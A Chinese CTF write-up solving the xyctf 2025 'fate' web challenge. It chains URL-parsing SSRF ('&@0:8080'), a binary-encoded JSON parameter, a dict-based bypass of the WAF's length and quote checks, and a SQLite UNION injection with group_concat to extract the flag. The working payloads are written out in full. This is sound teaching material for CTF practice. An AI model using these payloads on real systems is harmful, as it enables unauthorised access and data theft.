利用解析差异SSRF + sqlite注入 + waf逻辑漏洞 -- xyctf 2025 fate WP
本文章附带TP(Thinking Process)!
#!/usr/bin/env python3
# 导入所需的库
import flask # Flask web框架
import sqlite3 # SQLite数据库操作
import requests # HTTP请求库
import string # 字符串处理
import json # JSON处理app = flask.Flask(__name__) # 创建Flask应用实例
blacklist = string.ascii_letters # 所有英文字母(大小写)作为黑名单# 将二进制字符串转换为普通字符串
def binary_to_string(binary_string):if len(binary_string) % 8 != 0:raise ValueError("Binary string length must be a multiple of 8")# 将二进制字符串按每8位分割binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]# 将每8位二进制转换为对应的字符string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)return string_output# 代理路由,用于转发请求
@app.route('/proxy', methods=['GET'])
def nolettersproxy():url = flask.request.args.get('url') # 获取请求参数中的urlif not url:return flask.abort(400, 'No URL provided') # 如果没有提供url,返回400错误target_url = "http://lamentxu.top" + url # 构造目标URL# 检查url中是否包含黑名单中的字母for i in blacklist:if i in url:return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')# 防止SSRF攻击,不允许包含点号if "." in url:return flask.abort(403, 'No ssrf allowed')# 发送请求到目标URLresponse = requests.get(target_url)return flask.Response(response.content, response.status_code)# 数据库查询函数
def db_search(code):with sqlite3.connect('database.db') as conn: # 连接SQLite数据库cur = conn.cursor()# 执行SQL查询,对输入进行多次UPPER转换(可能是为了防御某些攻击)cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}'))))))")found = cur.fetchone() # 获取查询结果return None if found is None else found[0] # 返回结果或None# 首页路由
@app.route('/')
def index():print(flask.request.remote_addr) # 打印访问者的IP地址return flask.render_template("index.html") # 渲染并返回index.html模板# 1337路由,提供API搜索功能
@app.route('/1337', methods=['GET'])
def api_search():# 只允许本地访问if flask.request.remote_addr == '127.0.0.1':code = flask.request.args.get('0') # 获取参数0if code == 'abcdefghi': # 检查参数0是否为特定值req = flask.request.args.get('1') # 获取参数1try:# 将二进制字符串转换为普通字符串req = binary_to_string(req)print(req)# 解析JSON(注释中提到认为JSON比Pickle更安全)req = json.loads(req)except:flask.abort(400, "Invalid JSON") # JSON解析失败返回400# 检查JSON中是否包含name字段if 'name' not in req:flask.abort(400, "Empty Person's name")name = req['name']# 检查name长度if len(name) > 6:flask.abort(400, "Too long")# 防止SQL注入,检查特殊字符if '\'' in name:flask.abort(400, "NO '")if ')' in name:flask.abort(400, "NO )")"""Some waf hidden here ;)这里有隐藏的WAF(Web应用防火墙)规则"""# 查询数据库fate = db_search(name)if fate is None:flask.abort(404, "No such Person") # 未找到记录返回404return {'Fate': fate} # 返回查询结果else:flask.abort(400, "Hello local, and hello hacker") # 参数0不正确返回400else:flask.abort(403, "Only local access allowed") # 非本地访问返回403if __name__ == '__main__':app.run(debug=True) # 启动Flask应用,开启调试模式
看起来,我们的第一步是尝试造成ssrf,访问查询api
@app.route('/proxy', methods=['GET'])
def nolettersproxy():url = flask.request.args.get('url') # 获取请求参数中的urlif not url:return flask.abort(400, 'No URL provided') # 如果没有提供url,返回400错误target_url = "http://lamentxu.top" + url # 构造目标URL# 检查url中是否包含字母for i in blacklist:if i in url:return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')# 防止SSRF攻击,不允许包含点号if "." in url:return flask.abort(403, 'No ssrf allowed')# 发送请求到目标URLresponse = requests.get(target_url)return flask.Response(response.content, response.status_code)
题目没有禁止符号,翻看利用手册尝试利用解析差异访问
&@0:8080
/proxy?url=%20%26%400%3A8080
成功
/proxy?url=%20%26%400%3A8080
继续传递参数,我们使用双重url编码
&@0:8080/1337?0=%61%62%63%64%65%66%67%68%69
/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569
按照代码逆向编写编码器
def string_to_binary(input_str):"""将普通字符串转换为8位二进制组成的字符串"""binary_str = []for char in input_str:# 获取字符的ASCII码并转换为二进制,补齐8位前导零binary_char = bin(ord(char))[2:].zfill(8) # [2:]去除0b前缀binary_str.append(binary_char)return ''.join(binary_str)a = "/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D"
print(a + string_to_binary('{"name":"test"}'))
/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D011110110010001001101110011000010110110101100101001000100011101000100010011101000110010101110011011101000010001001111101
我们现在需要绕过
if len(name) > 6:
我们可以试试使用数组,灵感来自于我刚打完的 Cyber Apocalypse CTF 2025
len(['a'])
的输出是1,而且使用数组可以绕过剩下的waf
if '\'' in name: 只有在 ['\'] 时候才成立
但是这会造成一个意外的冒号
{"name":["\'))))))--"]}
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('["'))))))--"]'))))))
或者我也可以尝试字典
{"name":{"test":"test"}}
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'test': 'test'}'))))))
显然字典更合适,我应该使用union注入继续
import sqlite3conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (NAME TEXT NOT NULL,FATE TEXT NOT NULL
);""")
Fate = [('JOHN', '1994-2030 Dead in a car accident'),('JANE', '1990-2025 Lost in a fire'),('SARAH', '1982-2017 Fired by a government official'),('DANIEL', '1978-2013 Murdered by a police officer'),('LUKE', '1974-2010 Assassinated by a military officer'),('KAREN', '1970-2006 Fallen from a cliff'),('BRIAN', '1966-2002 Drowned in a river'),('ANNA', '1962-1998 Killed by a bomb'),('JACOB', '1954-1990 Lost in a plane crash'),('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)conn.commit()
conn.close()
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'))))))) UNION SELECT FATE FROM FATETABLE--': ''}'))))))
{"name":{"))))))) UNION SELECT FATE FROM FATETABLE--":""}}
只返回了一个结果,我们需要拼接结果
{"name":{"))))))) UNION SELECT group_concat(FATE) FROM FATETABLE--":""}}
成功获得flag
相关文章:
利用解析差异SSRF + sqlite注入 + waf逻辑漏洞 -- xyctf 2025 fate WP
本文章附带TP(Thinking Process)! #!/usr/bin/env python3 # 导入所需的库 import flask # Flask web框架 import sqlite3 # SQLite数据库操作 import requests # HTTP请求库 import string # 字符串处理 import json # JSON处理app flask.Flask(__name__) # 创建Flask应…...
接口异常数组基础题
题目描述 设想你正在构建一个智能家居控制系统。这个系统可以连接多种不同类型的智能设备,如智能灯泡、智能空调和智能门锁。每种设备都有其独特的功能,不过它们也有一些通用的操作,像开启、关闭和获取设备状态等。系统需要提供一个方法来控…...
rustdesk折腾手记
背景 我的工作环境:主力电脑是macPro, 另外一台ThinkPad W530作为开发机,装的是LinuxMint,还有一台ThinkPad P15作为服务器。平常显示器接到macPro,在macOS上通过微软的远程桌面连接到另外两台Linux。基本访问比较流畅࿰…...
使用el-tab 实现两个tab切换
1、主页面 index.vue 2、tab1:school.vue 3、tab2:parent.vue 具体代码如下: <template><div class"app-container"><!-- 使用el-tabs 实现两个组件的切换 --><el-tabs v-model"activeName" typ…...
JAVA--流(Stream)的使用
一、概念 JDK8新特性,简单方便的对集合和数组进行处理。 Stream(流)是一个来自数据源的元素队列 数据源:流的来源,指的是集合或数组 元素队列:元素是特定类型的对象,形成一个队列 Stream 并…...
使用ExcelJS实现专业级医疗数据导出功能:从数据到Excel报表的完整指南
在现代医疗信息系统中,数据导出是医护人员和行政人员日常工作中的重要需求。本文将详细介绍如何使用ExcelJS库在前端实现专业级的医疗数据导出功能,特别是针对住院缴费记录这类关键业务数据。 功能概述 这个exportExcel函数实现了以下核心功能…...
使用Pholcus编写Go爬虫示例
想用Pholcus库来写一个Go的爬虫程序。首先,我得确认Pholcus的当前状态,因为之前听说过它可能已经不再维护了。不过用户可能还是需要基于这个库的示例,所以得先提供一个基本的框架。 首先,我应该回忆一下Pholcus的基本用法。Pholc…...
深入解析大型应用架构:以dify为例进行分析
原文:https://juejin.cn/post/7437015214351286309 Dify 是一款开源的大语言模型(LLM)应用开发平台,旨在简化和加速生成式 AI 应用的创建和部署。 它融合了后端即服务(Backend as a Service, BaaS)和 LLM…...
单片机实现触摸按钮执行自定义任务组件
触摸按钮执行自定义任务组件 项目简介 本项目基于RT8H8K001开发板 RT6809CNN01开发板 TFT显示屏(1024x600) GT911触摸屏实现了一个多功能触摸按钮组件。系统具备按钮控制后执行任务的功能,可用于各类触摸屏人机交互场景。 硬件平台 MCU: STC8H8K64U࿰…...
快速入手-前后端分离Python权限系统 基于Django5+DRF+Vue3.2+Element Plus+Jwt
引用:打造前后端分离Python权限系统 基于Django5DRFVue3.2Element PlusJwt 视频教程 (火爆连载更新中..)_哔哩哔哩_bibili 说明:1、结合个人DRF基础和该视频去根据自己的项目进行开发。 2、引用该视频中作者的思路去升华自身的项…...
【go】slice的浅拷贝和深拷贝
浅拷贝(Shallow Copy) 浅拷贝是指只复制切片本身的结构(指针、长度和容量),而不复制底层数组的元素。 实现方式 直接赋值: slice1 : []int{1, 2, 3} slice2 : slice1 // 浅拷贝切片操作: slice1 : []int{1, 2, 3} s…...
Ai云防护技术解析——服务器数据安全的智能防御体系
本文深度解析AI云防护技术如何通过智能流量分析、动态行为建模、自适应防御策略构建服务器安全体系。结合2023年群联科技实战案例,揭示机器学习算法在识别新型DDoS攻击、加密流量检测、零日漏洞防御中的技术突破,并附Gartner最新防护效果验证数据。 AI驱动的流量特征建模技术…...
科技快讯 | DeepSeek 公布模型新学习方式;Meta发布开源大模型Llama 4;谷歌推出 Android Auto 14.0 正式版
Meta发布开源大模型Llama 4,首次采用“混合专家架构“ 4月6日,Meta推出开源AI模型Llama 4,包括Scout和Maverick两个版本,具备多模态处理能力。Scout和Maverick参数量分别为170亿和4000亿,采用混合专家架构。Meta同时训…...
JSONP跨域访问漏洞
一、漏洞一:利用回调GetCookie <?php$conn new mysqli(127.0.0.1,root,root,learn) or die("数据库连接不成功"); $conn->set_charset(utf8); $sql "select articleid,author,viewcount,creattime from learn3 where articleid < 5"; $result…...
记录一次StarRocks集群迁移的经历
记录一次StarRocks集群迁移的经历 新入职了一家公司,刚去做了两张报表后,接到一个任务,做StarRocks 集群迁移,背景是这样的就是以前是自建的SR,但是这个SR 是给线上业务用的,也就是说不是分析性业务,而是面向产品ToC 的,也了解了一下是因为单表数据量太大了,所以直接…...
图形裁剪算法
1.学习目标 理解区域编码(Region Code,RC) 设计Cohen-Sutherland直线裁剪算法 编程实现Cohen-Sutherland直线裁剪算法 2.具体代码 1.具体算法 /*** Cohen-Sutherland直线裁剪算法 - 优化版* author AI Assistant* license MIT*/// 区域编码常量 - 使用对象枚举…...
Python字典实战: 三大管理系统开发指南(班级+会议+购物车)(附源码)
目录 摘要 一、班级管理系统(含成绩模块) 1. 功能概述 2. 完整代码与解析 3. 代码解析与亮点 二、会议管理系统 1. 功能概述 2. 完整代码 3. 代码解析与亮点 三、购物车管理系统 1. 功能概述 2. 完整代码 3. 代码解析与亮点 四、总结与扩…...
R 语言科研绘图第 36 期 --- 饼状图-基础
在发表科研论文的过程中,科研绘图是必不可少的,一张好看的图形会是文章很大的加分项。 为了便于使用,本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中,获取方式: R 语言科研绘图模板 --- sciRplothttps://mp.…...
vue 3 从零开始到掌握
vue3从零开始一篇文章带你学习 升级vue CLI 使用命令 ## 查看vue/cli版本,确保vue/cli版本在4.5.0以上 vue --version ## 安装或者升级你的vue/cli npm install -g vue/cli ## 创建 vue create vue_test ## 启动 cd vue_test npm run servenvm管理node版本&#…...
【R语言绘图】圈图绘制代码
绘制代码 rm(list ls())# 加载必要包 library(data.table) library(circlize) library(ComplexHeatmap) library(rtracklayer) library(GenomicRanges) library(BSgenome) library(GenomicFeatures) library(dplyr)### 数据准备阶段 ### # 1. 读取染色体长度信息 df <- re…...
OCR迁移
一、环境 操作系统:Centos57.6 数据库版本:12.2.0.1 场景:将OCR信息从DATA磁盘组迁移到OCR磁盘组 二、操作步骤 1.查看可用空盘 set lin 200 set pagesize 200 col DGNAME format a15 col DISKNAME format a15 col PATH format a20 col N…...
OpenCV 图形API(17)计算输入矩阵 src 中每个元素的平方根函数sqrt()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 描述 计算数组元素的平方根。 cv::gapi::sqrt 函数计算每个输入数组元素的平方根。对于多通道数组,每个通道会独立处理。其精度大约与内置的 …...
python中的in关键字查找的时间复杂度
列表(List) 对于列表来说, in 运算符的复杂度是 O(n),其中n是列表的长度。这意味着如果列表中有n个元素,那么执行 in 运算符需要遍历整个列表来查找目标元素。 以下是一个示例,演示了在列表中使用 in 运算…...
Python爬虫第6节-requests库的基本用法
目录 前言 一、准备工作 二、实例引入 三、GET请求 3.1 基本示例 3.2 抓取网页 3.3 抓取二进制数据 3.4 添加headers 四、POST请求 五、响应 前言 前面我们学习了urllib的基础使用方法。不过,urllib在实际应用中存在一些不便之处。以网页验证和Cookies处理…...
什么是可靠性工程师?
一、什么是可靠性工程师? 可靠性工程师就是负责确保产品在使用过程中不出故障、不给客户添麻烦。 你可以理解为是那种“挑毛病的人”,但不是事后挑,是提前想清楚产品在哪些情况下可能会出问题,然后解决掉。 比如: …...
linux (CentOS 10)使用传统程序语言(C)进行编译---主,子程序连接:子程序的编译
1 主程序 rootlocalhost:~/testc/testlink3# cat thanks.c #include <stdio.h> // 声明子程序 void thanks_2(void); int main(void) {printf("Hello World\n");thanks_2(); }2 子程序 rootlocalhost:~/testc/testlink3# cat thanks_2.c #include <stdio.…...
如何根据设计稿进行移动端适配:全面详解
如何根据设计稿进行移动端适配:全面详解 文章目录 如何根据设计稿进行移动端适配:全面详解1. **理解设计稿**1.1 设计稿的尺寸1.2 设计稿的单位 2. **移动端适配的核心技术**2.1 使用 viewport 元标签2.1.1 代码示例2.1.2 参数说明 2.2 使用相对单位2.2.…...
【Kafka基础】Kafka 2.8以下版本的安装与配置指南:传统ZooKeeper依赖版详解
对于仍在使用Kafka 2.8之前版本的团队来说,需要特别注意其强依赖外部ZooKeeper的特性。本文将完整演示传统架构下的安装流程,并对比新旧版本差异。 1 版本特性差异说明 1.1 2.8 vs 2.8-核心区别 特性 2.8版本 2.8-版本 协调服务 可选内置KRaft模式 …...
Redis-x64-3.2.100.msi : Windows 安装包(MSI 格式)安装步骤
Redis-x64-3.2.100.msi 是 Redis 的 Windows 安装包(MSI 格式),适用于 64 位系统。 在由于一些环境需要低版本的Redis的安装包。 Redis-x64-3.2.100.msi 安装包下载:https://pan.quark.cn/s/cc4d38262a15 Redis 是一个开源的 内…...
ZoomCharts使用方法
本篇没有讲解,只是自己的小笔记,有看到的网友想明白具体用法的可以来私信我 <div class"zoomChartsComponent"><div id"zoomCharts-demo"></div></div> var ZoomChartsLicense ; var ZoomChartsLicenseKey…...
